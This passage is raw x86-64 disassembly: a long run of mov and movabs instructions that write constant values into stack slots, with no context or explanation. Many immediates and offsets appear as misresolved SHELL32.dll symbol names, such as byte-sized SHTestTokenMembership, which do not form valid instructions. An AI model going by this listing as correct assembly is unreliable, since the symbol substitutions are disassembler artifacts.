mov word [rsp + 0x1754], ax
mov dword [rsp + 0x538c], 0x28e9
mov dword [rsp + 0x5390], 0x6bab
mov dword [rsp + 0x5394], 0x3550
mov byte [rsp + 0x2ae], ILRemoveLastID
movabs rax, 0x7a1308dd933e58
mov qword [rsp + 0xa770], rax
movabs rax, 0x796c9c4d9b0e60
mov qword [rsp + 0xa778], rax
movabs rax, 0x74f0744210f6be
mov qword [rsp + 0xa780], rax
mov eax, 0x51e
mov word [rsp + 0x1758], ax
movabs rax, 0x73851095a92142
mov qword [rsp + 0xa788], rax
mov byte [rsp + 0x2af], 0x46
mov byte [rsp + 0x2b0], 0x8b
mov dword [rsp + 0x5398], 0x32e0
mov eax, 0x246
mov word [rsp + 0x175c], ax
mov dword [rsp + 0x539c], 0x76c6
mov dword [rsp + 0x53a0], 0x7b7c
movabs rax, 0x7300d627245991
mov qword [rsp + 0xa790], rax
movabs rax, 0x7426a9e9adcc88
mov qword [rsp + 0xa798], rax
movabs rax, 0x719843e4fa6694
mov qword [rsp + 0xa7a0], rax
mov byte [rsp + 0x2b1], 4
mov dword [rsp + 0x53a4], 0xbc3d
mov dword [rsp + 0x53a8], 0xca6
mov dword [rsp + 0x53ac], 0x62cd
mov dword [rsp + 0x53b0], 0x46c6
mov eax, 0xf63
mov word [rsp + 0x1760], ax
mov eax, 0x65c
mov word [rsp + 0x1764], ax
mov byte [rsp + 0x2b2], 0x45
mov dword [rsp + 0x53b4], 0x4394
mov dword [rsp + 0x53b8], 0x64af
mov byte [rsp + 0x2b3], 0xcf
mov dword [rsp + 0x53bc], 0x226d
movabs rax, 0x7860e78080a1fc
mov qword [rsp + 0xa7a8], rax
mov eax, 0xa72
mov word [rsp + 0x1768], ax
movabs rax, 0x79401f3109d58c
mov qword [rsp + 0xa7b0], rax
mov eax, 0xfcb
mov word [rsp + 0x176c], ax
mov eax, 0xf00
mov word [rsp + 0x1770], ax
movabs rax, 0x7ebe762bf5acd4
mov qword [rsp + 0xa7b8], rax
mov eax, 0x34e
mov word [rsp + 0x1774], ax
movabs rax, 0x77c56813fc1f33
mov qword [rsp + 0xa7c0], rax
mov dword [rsp + 0x53c0], 0x1db0
movabs rax, 0x7e800b316a3cc4
mov qword [rsp + 0xa7c8], rax
mov eax, 0x408
mov word [rsp + 0x1778], ax
mov eax, 0x464
mov word [rsp + 0x177c], ax
mov eax, 0x422
mov word [rsp + 0x1780], ax
mov dword [rsp + 0x53c4], 0x7045
mov byte [rsp + 0x2b4], ILAppendID
mov byte [rsp + 0x2b5], 0x72
mov byte [rsp + 0x2b6], 0x4c
mov byte [rsp + 0x2b7], 0xc5
movabs rax, 0x7043ef46bdd2ec
mov qword [rsp + 0xa7d0], rax
movabs rax, 0x7dc3f538c7ae7c
mov qword [rsp + 0xa7d8], rax
movabs rax, 0x7b994d54bf1bae
mov qword [rsp + 0xa7e0], rax
mov byte [rsp + 0x2b8], 3
mov eax, 0x462
mov word [rsp + 0x1784], ax
mov byte [rsp + 0x2b9], 0x34
movabs rax, 0x759765cc143dfc
mov qword [rsp + 0xa7e8], rax
mov eax, 0x3b2
mov word [rsp + 0x1788], ax
mov eax, 0x8b7
mov word [rsp + 0x178c], ax
mov eax, reloc.SHELL32.dll_SHGetNewLinkInfoW
mov word [rsp + 0x1790], ax
mov dword [rsp + 0x53c8], 0x89a2
movabs rax, 0x7de8ea0f785ef5
mov qword [rsp + 0xa7f0], rax
mov eax, 0x498
mov word [rsp + 0x1794], ax
mov dword [rsp + 0x53cc], 0x66d6
movabs rax, 0x7ec16ff852a223
mov qword [rsp + 0xa7f8], rax
mov eax, 0x801
mov word [rsp + 0x1798], ax
mov dword [rsp + 0x53d0], 0x1c15
mov eax, 0x400
mov word [rsp + 0x179c], ax
mov byte [rsp + 0x2ba], 0x77
mov byte [rsp + 0x2bb], 0x7b
movabs rax, 0x75b237d0ac53a7
mov qword [rsp + 0xa800], rax
mov dword [rsp + 0x53d4], 0x6f11
mov eax, 0x143
mov word [rsp + 0x17a0], ax
mov eax, 0x7b0
mov word [rsp + 0x17a4], ax
mov dword [rsp + 0x53d8], 0x442e
mov dword [rsp + 0x53dc], 0x8c97
movabs rax, 0x73dd999631e587
mov qword [rsp + 0xa808], rax
mov byte [rsp + 0x2bc], 0x7c
mov byte [rsp + 0x2bd], 0xa2
mov eax, 0x8d1
mov word [rsp + 0x17a8], ax
mov byte [rsp + 0x2be], 0x4f
movabs rax, 0x77fee4fa911ebb
mov qword [rsp + 0xa810], rax
mov dword [rsp + 0x53e0], 0x7dcc
mov eax, 0x159
mov word [rsp + 0x17ac], ax
mov dword [rsp + 0x53e4], 0xae69
mov byte [rsp + 0x2bf], SHTestTokenMembership
movabs rax, 0x76ef5c4b119ac5
mov qword [rsp + 0xa818], rax
mov byte [rsp + 0x2c0], 0x3d
mov byte [rsp + 0x2c1], 0x3c
movabs rax, 0x7aa0627caf79c1
mov qword [rsp + 0xa820], rax
mov dword [rsp + 0x53e8], 0x5ecc
mov byte [rsp + 0x2c2], 0x5c
mov dword [rsp + 0x53ec], 0x45b4
mov eax, 0x3a6
mov word [rsp + 0x17b0], ax
mov byte [rsp + 0x2c3], 0x6f
mov dword [rsp + 0x53f0], 0x60ae
mov byte [rsp + 0x2c4], 0xa8
mov dword [rsp + 0x53f4], 0xaba8
movabs rax, 0x791ce8779a5444
mov qword [rsp + 0xa828], rax
mov eax, 0x516
mov word [rsp + 0x17b4], ax
movabs rax, 0x727117f6ee5038
mov qword [rsp + 0xa830], rax
mov byte [rsp + 0x2c5], 0x41
mov byte [rsp + 0x2c6], 0x25
movabs rax, 0x7b939d18f2bb2b
mov qword [rsp + 0xa838], rax
movabs rax, 0x781a322fdd4e9c
mov qword [rsp + 0xa840], rax
movabs rax, 0x70e6f67cf19d51
mov qword [rsp + 0xa848], rax
movabs rax, 0x7372a22f752016
mov qword [rsp + 0xa850], rax
mov byte [rsp + 0x2c7], 0x4c
mov eax, 0xbaf
mov word [rsp + 0x17b8], ax
mov byte [rsp + 0x2c8], 0xbf
mov dword [rsp + 0x53f8], 0x4107
movabs rax, 0x77afe140cacbb0
mov qword [rsp + 0xa858], rax
mov dword [rsp + 0x53fc], 0x40ef
movabs rax, 0x72501bb0d5e405
mov qword [rsp + 0xa860], rax
movabs rax, 0x7eaf156cd48230
mov qword [rsp + 0xa868], rax
mov eax, 0x7b
mov word [rsp + 0x17bc], ax
mov eax, 0x532
mov word [rsp + 0x17c0], ax
mov eax, 0x1c6
mov word [rsp + 0x17c4], ax
movabs rax, 0x7d0e20ac365371
mov qword [rsp + 0xa870], rax
mov dword [rsp + 0x5400], 0x4287
mov dword [rsp + 0x5404], 0x1cad
mov eax, 0x76a
mov word [rsp + 0x17c8], ax
movabs rax, 0x713f50375102e8
mov qword [rsp + 0xa878], rax
mov byte [rsp + 0x2c9], 0x60
mov eax, 0xec9
mov word [rsp + 0x17cc], ax
mov eax, 0x5e2
mov word [rsp + 0x17d0], ax
movabs rax, 0x76235d414d43b1
mov qword [rsp + 0xa880], rax
movabs rax, 0x79c235058ffd81
mov qword [rsp + 0xa888], rax
mov eax, 0x4eb
mov word [rsp + 0x17d4], ax
movabs rax, 0x7ecf10d633d931
mov qword [rsp + 0xa890], rax
mov eax, 0x36
mov word [rsp + 0x17d8], ax
mov dword [rsp + 0x5408], 0x171a
mov dword [rsp + 0x540c], 0x1f19
movabs rax, 0x73d56a146cdac9
mov qword [rsp + 0xa898], rax
mov dword [rsp + 0x5410], 0xad8
movabs rax, 0x7a0a0b68476ea6
mov qword [rsp + 0xa8a0], rax
mov eax, ILRemoveLastID
mov word [rsp + 0x17dc], ax
movabs rax, 0x76caba5025e133
mov qword [rsp + 0xa8a8], rax
mov eax, 0x7cd
mov word [rsp + 0x17e0], ax
mov byte [rsp + 0x2ca], ILCreateFromPathW
mov byte [rsp + 0x2cb], 4
mov byte [rsp + reloc.SHELL32.dll_SHMultiFileProperties], 0xdd
movabs rax, 0x728e3cdf0e1d22
mov qword [rsp + 0xa8b0], rax
movabs rax, 0x77cdda51fe58a0
mov qword [rsp + 0xa8b8], rax
movabs rax, 0x74817c296565cd
mov qword [rsp + 0xa8c0], rax
mov byte [rsp + 0x2cd], 0x4c
movabs rax, 0x73577b2e810f51
mov qword [rsp + 0xa8c8], rax
mov eax, 0x5de
mov word [rsp + 0x17e4], ax
movabs rax, 0x707574da00fcab
mov qword [rsp + 0xa8d0], rax
mov eax, 0x441
mov word [rsp + 0x17e8], ax
mov byte [rsp + 0x2ce], reloc.SHELL32.dll_ILFindLastID
movabs rax, 0x7700bfcfe05699
mov qword [rsp + 0xa8d8], rax
mov dword [rsp + 0x5414], 0x5bc9
movabs rax, 0x70fd98c282098c
mov qword [rsp + 0xa8e0], rax
mov dword [rsp + 0x5418], 0x5372
mov dword [rsp + 0x541c], 0x4584
mov eax, 0xec9
mov word [rsp + 0x17ec], ax
movabs rax, 0x7530544693548e
mov qword [rsp + 0xa8e8], rax
mov dword [rsp + 0x5420], 0x87bc
movabs rax, 0x76ea926b493d14
mov qword [rsp + 0xa8f0], rax
mov dword [rsp + 0x5424], 0x4872
mov dword [rsp + 0x5428], 0xde8
mov eax, 0x1b7
mov word [rsp + 0x17f0], ax
mov dword [rsp + 0x542c], 0xb1e0
mov dword [rsp + 0x5430], 0xb56e
mov byte [rsp + 0x2cf], ILIsParent
movabs rax, 0x7a4bb787aff743
mov qword [rsp + 0xa8f8], rax
mov dword [rsp + 0x5434], 0x2472
mov eax, 0x500
mov word [rsp + 0x17f4], ax
mov eax, 0x7cc
mov word [rsp + 0x17f8], ax
movabs rax, 0x7206a603b93411
mov qword [rsp + 0xa900], rax
movabs rax, 0x78d71574f47d43
mov qword [rsp + 0xa908], rax
mov byte [rsp + 0x2d0], 0x4c
mov dword [rsp + 0x5438], 0x145e
mov dword [rsp + 0x543c], 0x5405
mov byte [rsp + 0x2d1], 0x4f
mov byte [rsp + 0x2d2], SHTestTokenMembership
mov eax, 0x62
mov word [rsp + 0x17fc], ax
mov dword [rsp + 0x5440], 0x12f7
movabs rax, 0x77ce3c5e76a473
mov qword [rsp + 0xa910], rax
movabs rax, 0x7a9a435bc85fd3
mov qword [rsp + 0xa918], rax
mov dword [rsp + 0x5444], 0x2005
mov eax, 0x6e1
mov word [rsp + 0x1800], ax
mov eax, 0x4a
mov word [rsp + 0x1804], ax
mov byte [rsp + 0x2d3], SHTestTokenMembership
mov eax, 0xea
mov word [rsp + 0x1808], ax
mov eax, 0x77
mov word [rsp + 0x180c], ax
mov eax, 0x6e0
mov word [rsp + 0x1810], ax
movabs rax, 0x7b6ce703443418
mov qword [rsp + 0xa920], rax
mov dword [rsp + 0x5448], 0x30dd
movabs rax, 0x75b1e12201a741
mov qword [rsp + 0xa928], rax
movabs rax, 0x7123366175343d
mov qword [rsp + 0xa930], rax
movabs rax, 0x7a10b01065c481
mov qword [rsp + 0xa938], rax
mov byte [rsp + 0x2d4], 0xd0
mov dword [rsp + 0x544c], 0x5222
mov byte [rsp + 0x2d5], 0x7a
mov byte [rsp + 0x2d6], 0
mov eax, 0xdb
mov word [rsp + 0x1814], ax
movabs rax, 0x7803a2e837889f
mov qword [rsp + 0xa940], rax
mov dword [rsp + 0x5450], 0x72e2
mov dword [rsp + 0x5454], 0x64c4
mov dword [rsp + 0x5458], 0xdeb9
movabs rax, 0x7d1f3ed61b0a64
mov qword [rsp + 0xa948], rax
mov eax, 0x48b
mov word [rsp + 0x1818], ax
mov eax, 0x427
mov word [rsp + 0x181c], ax
mov byte [rsp + reloc.SHELL32.dll_SHGetImageList], 2
mov byte [rsp + 0x2d8], 0x6a
mov dword [rsp + 0x545c], 0x86f3
mov byte [rsp + 0x2d9], 0x67
movabs rax, 0x79a9fff94f1a32
mov qword [rsp + 0xa950], rax
movabs rax, 0x7cea3de3558fc3
mov qword [rsp + 0xa958], rax
movabs rax, 0x718c1555c0d99d
mov qword [rsp + 0xa960], rax
mov dword [rsp + 0x5460], 0x873e
mov dword [rsp + 0x5464], 0x6fc6
movabs rax, 0x7965dc9f01f921
mov qword [rsp + 0xa968], rax
movabs rax, 0x7cbc4c354df15f
mov qword [rsp + 0xa970], rax
mov byte [rsp + 0x2da], 0x31
mov eax, 0x4b0
mov word [rsp + 0x1820], ax
mov eax, 0x1b8
mov word [rsp + 0x1824], ax
movabs rax, 0x7194ada8467df9
mov qword [rsp + 0xa978], rax
mov dword [rsp + 0x5468], 0x79b2
mov byte [rsp + 0x2db], 0x6a
mov byte [rsp + 0x2dc], 0x44
mov byte [rsp + 0x2dd], 0xd7
mov byte [rsp + 0x2de], reloc.SHELL32.dll_ILFindChild
mov dword [rsp + 0x546c], 0x1ff
mov eax, 0xf70
mov word [rsp + 0x1828], ax
mov dword [rsp + 0x5470], 0x5eea
mov byte [rsp + 0x2df], 0x36
mov dword [rsp + 0x5474], 0x763c
mov dword [rsp + 0x5478], 0x6dab
movabs rax, 0x775705b122d7f9
mov qword [rsp + 0xa980], rax
mov dword [rsp + 0x547c], 0x7b06
mov eax, 0x9e6
mov word [rsp + 0x182c], ax
mov dword [rsp + 0x5480], 0x2cce
mov dword [rsp + 0x5484], 0x15d9
mov eax, 0x517
mov word [rsp + 0x1830], ax
movabs rax, 0x74257871c7b808
mov qword [rsp + 0xa988], rax
mov eax, 0x673
mov word [rsp + 0x1834], ax
movabs rax, 0x777907d518d3fc
mov qword [rsp + 0xa990], rax
movabs rax, 0x7e48d01e2aefaf
mov qword [rsp + 0xa998], rax
movabs rax, 0x738ef0e0609320
mov qword [rsp + 0xa9a0], rax
movabs rax, 0x749bca9123a86d
mov qword [rsp + 0xa9a8], rax
mov byte [rsp + 0x2e0], SHTestTokenMembership
mov eax, 0x5db
mov word [rsp + 0x1838], ax
movabs rax, 0x7e7610d4dc8d69
mov qword [rsp + 0xa9b0], rax
movabs rax, 0x7dea1f643475a2
mov qword [rsp + 0xa9b8], rax
mov dword [rsp + 0x5488], 0xf7a0
mov byte [rsp + 0x2e1], 0x7e
mov byte [rsp + 0x2e2], reloc.SHELL32.dll_ILCombine
mov eax, 0x798
mov word [rsp + 0x183c], ax
movabs rax, 0x777d6eac959946
mov qword [rsp + 0xa9c0], rax
movabs rax, 0x7008735dcf9f9d
mov qword [rsp + 0xa9c8], rax
mov byte [rsp + 0x2e3], 0x59
mov dword [rsp + 0x548c], 0x2a29
mov eax, 0x465
mov word [rsp + 0x1840], ax
mov eax, 0x4ef
mov word [rsp + 0x1844], ax
mov byte [rsp + 0x2e4], 0x8d
movabs rax, 0x7c5e9e6510522e
mov qword [rsp + 0xa9d0], rax
mov eax, 0xee1
mov word [rsp + 0x1848], ax
movabs rax, 0x72204969ed2283
mov qword [rsp + 0xa9d8], rax
mov eax, 0x5e7
mov word [rsp + 0x184c], ax
movabs rax, 0x7bec1aac488482
mov qword [rsp + 0xa9e0], rax
mov eax, 0x585
mov word [rsp + 0x1850], ax
movabs rax, 0x79dba80a2b48ad
mov qword [rsp + 0xa9e8], rax
mov byte [rsp + 0x2e5], 0x7f
mov eax, 0x1b6
mov word [rsp + 0x1854], ax
mov eax, 0x6de
mov word [rsp + 0x1858], ax
mov dword [rsp + 0x5490], 0xc5de
movabs rax, 0x7d6d1b29770000
mov qword [rsp + 0xa9f0], rax
mov eax, 0x2ec
mov word [rsp + 0x185c], ax
mov eax, 0x2ee
mov word [rsp + 0x1860], ax
mov byte [rsp + 0x2e6], 0x1e
mov byte [rsp + 0x2e7], 0xf9
mov eax, 0x4b5
mov word [rsp + 0x1864], ax
mov dword [rsp + 0x5494], 0xadcf
movabs rax, 0x75eacfbdced3d3
mov qword [rsp + 0xa9f8], rax
mov dword [rsp + 0x5498], 0x7889
mov eax, 0x3b0
mov word [rsp + 0x1868], ax
movabs rax, 0x726735cb1c4448
mov qword [rsp + 0xaa00], rax
mov dword [rsp + 0x549c], 0x8c45
mov byte [rsp + 0x2e8], 0xd6
movabs rax, 0x76c59843d4c0f0
mov qword [rsp + 0xaa08], rax
mov dword [rsp + 0x54a0], 0x2f0b
mov eax, 0x597
mov word [rsp + 0x186c], ax
mov eax, 0xb75
mov word [rsp + 0x1870], ax
mov dword [rsp + 0x54a4], 0xff17
movabs rax, 0x71666500447886
mov qword [rsp + 0xaa10], rax
mov byte [rsp + 0x2e9], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x54a8], 0x525
movabs rax, 0x74a4b197667a11
mov qword [rsp + 0xaa18], rax
movabs rax, 0x7ec17b3bfe0d45
mov qword [rsp + 0xaa20], rax
movabs rax, 0x7d60ba8b89ed40
mov qword [rsp + 0xaa28], rax
mov dword [rsp + 0x54ac], 0x9742
mov dword [rsp + 0x54b0], 0x6e5c
mov dword [rsp + 0x54b4], 0x287b
mov eax, 0x570
mov word [rsp + 0x1874], ax
mov dword [rsp + 0x54b8], 0x6868
mov eax, 0x3be
mov word [rsp + 0x1878], ax
mov byte [rsp + 0x2ea], 0xdc
mov dword [rsp + 0x54bc], 0x50f7
mov byte [rsp + 0x2eb], 0x3b
mov eax, 0xb56
mov word [rsp + 0x187c], ax
mov eax, 0x2a9
mov word [rsp + 0x1880], ax
mov byte [rsp + 0x2ec], SHDoDragDrop
movabs rax, 0x719bad5433e6d2
mov qword [rsp + 0xaa30], rax
mov eax, 0x74b
mov word [rsp + 0x1884], ax
movabs rax, 0x7e5fb0a5fc773d
mov qword [rsp + 0xaa38], rax
movabs rax, 0x73a9d36f06906e
mov qword [rsp + 0xaa40], rax
mov eax, 0x194
mov word [rsp + 0x1888], ax
movabs rax, 0x78cd964dfc7032
mov qword [rsp + 0xaa48], rax
movabs rax, 0x717a440ef6b915
mov qword [rsp + 0xaa50], rax
mov eax, 0xa27
mov word [rsp + 0x188c], ax
mov byte [rsp + 0x2ed], ILIsParent
movabs rax, 0x7d6e55c4e03626
mov qword [rsp + 0xaa58], rax
mov dword [rsp + 0x54c0], 0x3daf
mov dword [rsp + 0x54c4], 0xb43a
mov byte [rsp + 0x2ee], 0x83
mov dword [rsp + 0x54c8], 0x8103
mov byte [rsp + 0x2ef], 0x6c
mov dword [rsp + 0x54cc], 0x2344
mov byte [rsp + 0x2f0], 0xe0
mov eax, 0x1dd
mov word [rsp + 0x1890], ax
movabs rax, 0x78f507292f0b54
mov qword [rsp + 0xaa60], rax
movabs rax, 0x7c0f33c8632907
mov qword [rsp + 0xaa68], rax
mov byte [rsp + 0x2f1], 0x3b
mov byte [rsp + 0x2f2], 0x91
mov byte [rsp + 0x2f3], reloc.SHELL32.dll_ILIsParent
mov byte [rsp + 0x2f4], 0x5e
movabs rax, 0x76e5ea3397dfae
mov qword [rsp + 0xaa70], rax
mov byte [rsp + 0x2f5], ILAppendID
mov eax, 0x73f
mov word [rsp + 0x1894], ax
movabs rax, 0x719e9caee8025f
mov qword [rsp + 0xaa78], rax
mov eax, 0x178
mov word [rsp + 0x1898], ax
movabs rax, 0x7d70aa5b6d7e6b
mov qword [rsp + 0xaa80], rax
movabs rax, 0x7e7816b6a1422a
mov qword [rsp + 0xaa88], rax
mov byte [rsp + 0x2f6], SHDoDragDrop
mov dword [rsp + 0x54d0], 0x69e4
mov dword [rsp + 0x54d4], 0x524f
movabs rax, 0x7c3698dc2b3975
mov qword [rsp + 0xaa90], rax
movabs rax, 0x70305f5ae64dee
mov qword [rsp + 0xaa98], rax
mov dword [rsp + 0x54d8], 0xf08a
mov eax, 0x938
mov word [rsp + 0x189c], ax
mov byte [rsp + 0x2f7], 7
mov dword [rsp + 0x54dc], 0x52e9
mov eax, 0x713
mov word [rsp + 0x18a0], ax
mov byte [rsp + 0x2f8], SHTestTokenMembership
mov byte [rsp + 0x2f9], 0x7c
mov dword [rsp + 0x54e0], 0x7c5c
mov eax, 0xb84
mov word [rsp + 0x18a4], ax
mov eax, 0xcdd
mov word [rsp + 0x18a8], ax
movabs rax, 0x785de542914fb3
mov qword [rsp + 0xaaa0], rax
mov byte [rsp + 0x2fa], 0x4b
mov dword [rsp + 0x54e4], 0x24ff
movabs rax, 0x7408878120024a
mov qword [rsp + 0xaaa8], rax
movabs rax, 0x7687e92083c40f
mov qword [rsp + 0xaab0], rax
mov dword [rsp + 0x54e8], 0xe071
movabs rax, 0x761c3629e3e0c9
mov qword [rsp + 0xaab8], rax
mov byte [rsp + 0x2fb], reloc.SHELL32.dll_ILFindChild
mov eax, 0x7a0
mov word [rsp + 0x18ac], ax
mov byte [rsp + 0x2fc], 0x4c
movabs rax, 0x71b77dc99b71a6
mov qword [rsp + 0xaac0], rax
mov eax, 0x4ad
mov word [rsp + 0x18b0], ax
mov eax, 0x17a
mov word [rsp + 0x18b4], ax
mov eax, 0x7ba
mov word [rsp + 0x18b8], ax
mov eax, 0x665
mov word [rsp + 0x18bc], ax
mov dword [rsp + 0x54ec], 0x1393
movabs rax, 0x72a6cd1969db57
mov qword [rsp + 0xaac8], rax
mov dword [rsp + 0x54f0], 0x5579
mov dword [rsp + 0x54f4], 0x51fb
mov dword [rsp + 0x54f8], 0x5813
mov byte [rsp + 0x2fd], 0x31
mov eax, 0x4d0
mov word [rsp + 0x18c0], ax
mov dword [rsp + 0x54fc], 0x5c42
mov dword [rsp + 0x5500], 0x2bbe
mov byte [rsp + 0x2fe], 0x72
mov byte [rsp + 0x2ff], 0xc1
movabs rax, 0x74cf78a5a9bc9e
mov qword [rsp + 0xaad0], rax
mov dword [rsp + 0x5504], 0x2caa
mov eax, 0xd80
mov word [rsp + 0x18c4], ax
mov dword [rsp + 0x5508], 0xd3d2
mov eax, 0xc4e
mov word [rsp + 0x18c8], ax
mov dword [rsp + 0x550c], 0xda24
movabs rax, 0x7846ab934e2d3b
mov qword [rsp + 0xaad8], rax
mov byte [rsp + 0x300], 0xb6
mov eax, 0x212
mov word [rsp + 0x18cc], ax
movabs rax, 0x7b4f471de0b3ea
mov qword [rsp + 0xaae0], rax
mov eax, 0xdd3
mov word [rsp + 0x18d0], ax
movabs rax, 0x7ccf89352a5de5
mov qword [rsp + 0xaae8], rax
movabs rax, 0x7593b553e843f6
mov qword [rsp + 0xaaf0], rax
mov eax, 0x420
mov word [rsp + 0x18d4], ax
mov dword [rsp + 0x5510], 0x2619
mov dword [rsp + 0x5514], 0x109c
movabs rax, 0x7cb87e58c04772
mov qword [rsp + 0xaaf8], rax
mov eax, 0x580
mov word [rsp + 0x18d8], ax
movabs rax, 0x7332f4f06e5fd8
mov qword [rsp + 0xab00], rax
movabs rax, 0x7967ceecdcaf3d
mov qword [rsp + 0xab08], rax
movabs rax, 0x794979943cd04c
mov qword [rsp + 0xab10], rax
mov eax, 0x24f
mov word [rsp + 0x18dc], ax
mov dword [rsp + 0x5518], 0x4e60
mov byte [rsp + 0x301], SHDoDragDrop
mov eax, 0x38b
mov word [rsp + 0x18e0], ax
mov byte [rsp + 0x302], 0x74
mov byte [rsp + 0x303], PathMakeUniqueName
movabs rax, 0x788a426131db81
mov qword [rsp + 0xab18], rax
mov eax, 0x527
mov word [rsp + 0x18e4], ax
mov eax, 0xe81
mov word [rsp + 0x18e8], ax
mov eax, 0x47b
mov word [rsp + 0x18ec], ax
movabs rax, 0x75435f6e831bdf
mov qword [rsp + 0xab20], rax
mov dword [rsp + 0x551c], 0x4c2e
mov eax, 0x71a
mov word [rsp + 0x18f0], ax
mov dword [rsp + 0x5520], 0x33da
movabs rax, 0x74f2cc23f9305a
mov qword [rsp + 0xab28], rax
mov byte [rsp + 0x304], 0x39
mov byte [rsp + 0x305], 9
mov byte [rsp + 0x306], 0xf6
movabs rax, 0x700f934e19d9fb
mov qword [rsp + 0xab30], rax
mov dword [rsp + 0x5524], 0x108e
movabs rax, 0x7a803394f11f93
mov qword [rsp + 0xab38], rax
mov byte [rsp + 0x307], reloc.SHELL32.dll_ILIsParent
mov byte [rsp + 0x308], PathMakeUniqueName
mov eax, 0x559
mov word [rsp + 0x18f4], ax
mov byte [rsp + 0x309], SHTestTokenMembership
mov eax, 0x3c1
mov word [rsp + 0x18f8], ax
mov eax, 0x433
mov word [rsp + 0x18fc], ax
mov dword [rsp + 0x5528], 0xb23e
mov byte [rsp + 0x30a], 0x5d
mov byte [rsp + 0x30b], 0xd6
mov dword [rsp + 0x552c], 0x45c4
movabs rax, 0x7bb2a81fb0c695
mov qword [rsp + 0xab40], rax
mov dword [rsp + 0x5530], 0xf6c7
mov dword [rsp + 0x5534], 0x75cb
mov byte [rsp + 0x30c], 0x35
mov dword [rsp + 0x5538], 0x4af1
movabs rax, 0x768e7248ce1e36
mov qword [rsp + 0xab48], rax
mov dword [rsp + 0x553c], 0x5a7
mov eax, 0x1ca
mov word [rsp + 0x1900], ax
mov dword [rsp + 0x5540], 0x3b5a
mov eax, reloc.SHELL32.dll_SHTestTokenMembership
mov word [rsp + 0x1904], ax
mov eax, 0x5ab
mov word [rsp + 0x1908], ax
movabs rax, 0x7994d6bba63129
mov qword [rsp + 0xab50], rax
mov byte [rsp + 0x30d], ILSaveToStream
mov dword [rsp + 0x5544], 0x3e85
mov byte [rsp + 0x30e], 0x1c
movabs rax, 0x79d76425fe3761
mov qword [rsp + 0xab58], rax
mov byte [rsp + 0x30f], ILAppendID
movabs rax, 0x77b69a3e7ea1e6
mov qword [rsp + 0xab60], rax
mov eax, 0x1a1
mov word [rsp + 0x190c], ax
mov eax, 0x1ea
mov word [rsp + 0x1910], ax
mov byte [rsp + 0x310], 0x7e
mov dword [rsp + 0x5548], 0x4fdc
mov dword [rsp + 0x554c], 0x90d1
mov dword [rsp + 0x5550], 0x90b
mov byte [rsp + 0x311], 0x45
mov eax, 0x364
mov word [rsp + 0x1914], ax
mov eax, 0x17a
mov word [rsp + 0x1918], ax
mov eax, 0x367
mov word [rsp + 0x191c], ax
mov dword [rsp + 0x5554], 0x6fa8
mov dword [rsp + 0x5558], 0xa64
mov dword [rsp + 0x555c], 0x3d39
mov eax, 0x6ed
mov word [rsp + 0x1920], ax
mov byte [rsp + 0x312], 0xf6
mov eax, 0x3b6
mov word [rsp + 0x1924], ax
mov dword [rsp + 0x5560], 0x5bbe
mov byte [rsp + 0x313], 0
mov eax, 0xd5b
mov word [rsp + 0x1928], ax
mov eax, 0x65e
mov word [rsp + 0x192c], ax
mov byte [rsp + 0x314], SHTestTokenMembership
movabs rax, 0x7390a3ab8bbd84
mov qword [rsp + 0xab68], rax
mov eax, 0x70c
mov word [rsp + 0x1930], ax
mov byte [rsp + 0x315], SHDoDragDrop
mov dword [rsp + 0x5564], 0x3497
mov byte [rsp + 0x316], reloc.SHELL32.dll_ILAppendID
movabs rax, 0x7b4078735e8d0c
mov qword [rsp + 0xab70], rax
mov eax, 0xc26
mov word [rsp + 0x1934], ax
mov byte [rsp + 0x317], 0x74
movabs rax, 0x737d22d75b08eb
mov qword [rsp + 0xab78], rax
mov byte [rsp + 0x318], 0x85
mov dword [rsp + 0x5568], 0x95d6
movabs rax, 0x7ac32777d38472
mov qword [rsp + 0xab80], rax
movabs rax, 0x715d293c91e452
mov qword [rsp + 0xab88], rax
movabs rax, 0x771811def6116b
mov qword [rsp + 0xab90], rax
mov byte [rsp + 0x319], 0xe8
mov byte [rsp + 0x31a], ILAppendID
movabs rax, 0x73ec5924a22ed4
mov qword [rsp + 0xab98], rax
mov eax, 0x478
mov word [rsp + 0x1938], ax
mov eax, 0xc6
mov word [rsp + 0x193c], ax
movabs rax, 0x701861fcdca818
mov qword [rsp + 0xaba0], rax
mov eax, 0x7b9
mov word [rsp + 0x1940], ax
mov eax, 0xdca
mov word [rsp + 0x1944], ax
mov byte [rsp + 0x31b], 0x78
movabs rax, 0x7cea4e1e2c6ee7
mov qword [rsp + 0xaba8], rax
mov dword [rsp + 0x556c], 0x25
mov dword [rsp + 0x5570], 0x30ce
movabs rax, 0x7849b7724be41a
mov qword [rsp + 0xabb0], rax
movabs rax, 0x70a3e2d6875590
mov qword [rsp + 0xabb8], rax
mov eax, 0xb24
mov word [rsp + 0x1948], ax
mov dword [rsp + 0x5574], 0x225b
mov byte [rsp + 0x31c], ILIsParent
mov eax, 0x58d
mov word [rsp + 0x194c], ax
mov byte [rsp + 0x31d], 0x7b
mov dword [rsp + 0x5578], 0x95bd
mov eax, reloc.SHELL32.dll_ILCombine
mov word [rsp + 0x1950], ax
mov byte [rsp + 0x31e], 0xa3
movabs rax, 0x736e43271cfd41
mov qword [rsp + 0xabc0], rax
mov eax, 0x415
mov word [rsp + 0x1954], ax
mov eax, 0x3ac
mov word [rsp + 0x1958], ax
mov eax, 0x3c5
mov word [rsp + 0x195c], ax
mov byte [rsp + 0x31f], 0x72
mov dword [rsp + 0x557c], 0x5cf7
movabs rax, 0x7c092722df0896
mov qword [rsp + 0xabc8], rax
mov byte [rsp + 0x320], 8
movabs rax, 0x7e223b5b68c5d5
mov qword [rsp + 0xabd0], rax
movabs rax, 0x74145a91e28d4d
mov qword [rsp + 0xabd8], rax
mov byte [rsp + 0x321], 0x7a
mov byte [rsp + 0x322], ILRemoveLastID
mov dword [rsp + 0x5580], 0x336c
mov byte [rsp + 0x323], 0x33
mov eax, 0xc1e
mov word [rsp + 0x1960], ax
movabs rax, 0x756ce0021f6f49
mov qword [rsp + 0xabe0], rax
mov eax, 0x184
mov word [rsp + 0x1964], ax
mov dword [rsp + 0x5584], 0x25b2
movabs rax, 0x71512bee005335
mov qword [rsp + 0xabe8], rax
mov dword [rsp + 0x5588], 0x5e36
movabs rax, 0x7e9977d9f7f39e
mov qword [rsp + 0xabf0], rax
mov dword [rsp + 0x558c], 0x18d7
mov dword [rsp + 0x5590], 0x111d
mov dword [rsp + 0x5594], 0x412a
movabs rax, 0x75f83e7b5cff09
mov qword [rsp + 0xabf8], rax
movabs rax, 0x77ff0cfbb6ff16
mov qword [rsp + 0xac00], rax
